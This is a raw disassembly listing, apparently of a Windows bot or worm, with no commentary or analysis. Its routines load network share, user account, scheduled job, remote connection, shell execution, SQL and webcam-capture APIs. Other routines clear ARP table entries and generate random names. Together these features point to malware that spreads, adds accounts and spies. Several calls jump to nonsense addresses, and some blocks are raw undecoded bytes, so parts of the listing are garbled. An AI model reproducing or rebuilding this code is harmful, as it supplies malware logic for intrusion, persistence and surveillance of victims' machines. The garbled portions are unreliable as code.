loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		cmp	dword_4CB95C, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA8C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAC8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAC4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB918, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB89C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		cmp	dword_4CB8C8, ebx
		mov	dword_4CB908, eax
		jz	short loc_40A379
		cmp	dword_4CB8A0, ebx
		jz	short loc_40A379
		cmp	dword_4CB918, ebx
		jz	short loc_40A379
		cmp	dword_4CB94C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA64, ebx
		jz	short loc_40A379
		cmp	dword_4CB900, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB89C, ebx
		jz	short loc_40A379
		cmp	dword_4CB934, ebx
		jz	short loc_40A379
		cmp	dword_4CBA2C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9E4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAD0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBACC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB8F0, ebx
		mov	dword_4CB9CC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAD8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAD4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA50, eax
		call	esi
		cmp	dword_4CBA50, ebx
		mov	dword_4CBA4C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		call	near ptr 26B0669h
		nop
		mov	dword_4CBAE0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBADC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA7C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		cmp	dword_4CBA7C, ebx
		mov	dword_4CB90C, eax
		jz	short loc_40A481
		cmp	dword_4CBA74, ebx
		jz	short loc_40A481
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAE8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAE4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB940, eax
		call	esi
		cmp	dword_4CB940, ebx
		mov	dword_4CBA48, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAF0, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAEC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA5C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		cmp	dword_4CBA10, ebx
		mov	dword_4CB960, eax
		jz	short loc_40A569
		cmp	dword_4CBA5C, ebx
		jz	short loc_40A569
		cmp	dword_4CB998, ebx
		jz	short loc_40A569
		cmp	dword_4CB950, ebx
		jz	short loc_40A569
		cmp	dword_4CB9F0, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 26B0669h
		mov	dword_4CBAF8, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBAF4, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB924, eax
		call	esi
		cmp	dword_4CB924, ebx
		mov	dword_4CBA04, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		nop
		call	near ptr 26B0669h
		mov	dword_4CBB00, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBAFC, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBA94, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBA98
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBA9C, esi
		jz	short loc_40A641
		push	dword_4CBAA0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAA4, esi
		jz	short loc_40A675
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBAAC, esi
		jz	short loc_40A6A9
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAB4, esi
		jz	short loc_40A6DD
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBABC, esi
		jz	short loc_40A711
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAC4, esi
		jz	short loc_40A745
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBACC, esi
		jz	short loc_40A779
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAD4, esi
		jz	short loc_40A7AD
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBADC, esi
		jz	short loc_40A7E1
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAE4, esi
		jz	short loc_40A815
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAEC, esi
		jz	short loc_40A849
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBAF4, esi
		jz	short loc_40A87D
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBAFC, esi
		jz	short loc_40A8B1
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:0043320Co
					; ___:00433250o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6C4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB8F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA50
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8B4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA50
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D884


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D854
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA4C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB978
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB04
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D920o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26C0589h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D99C[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 2B5A68E8h, 91E85002h, 8B000117h, 0C710247Ch,	91382404h
		dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26C0589h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26C0589h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315F4
		push	eax
		push	esi
		nop
		call	near ptr 26F0000h
		movsx	eax, byte_4315F4
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26C0589h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 2700000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4315F8
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB88
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 2700552h
		call	near ptr 26C0589h
		nop
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431620


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431614
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431610
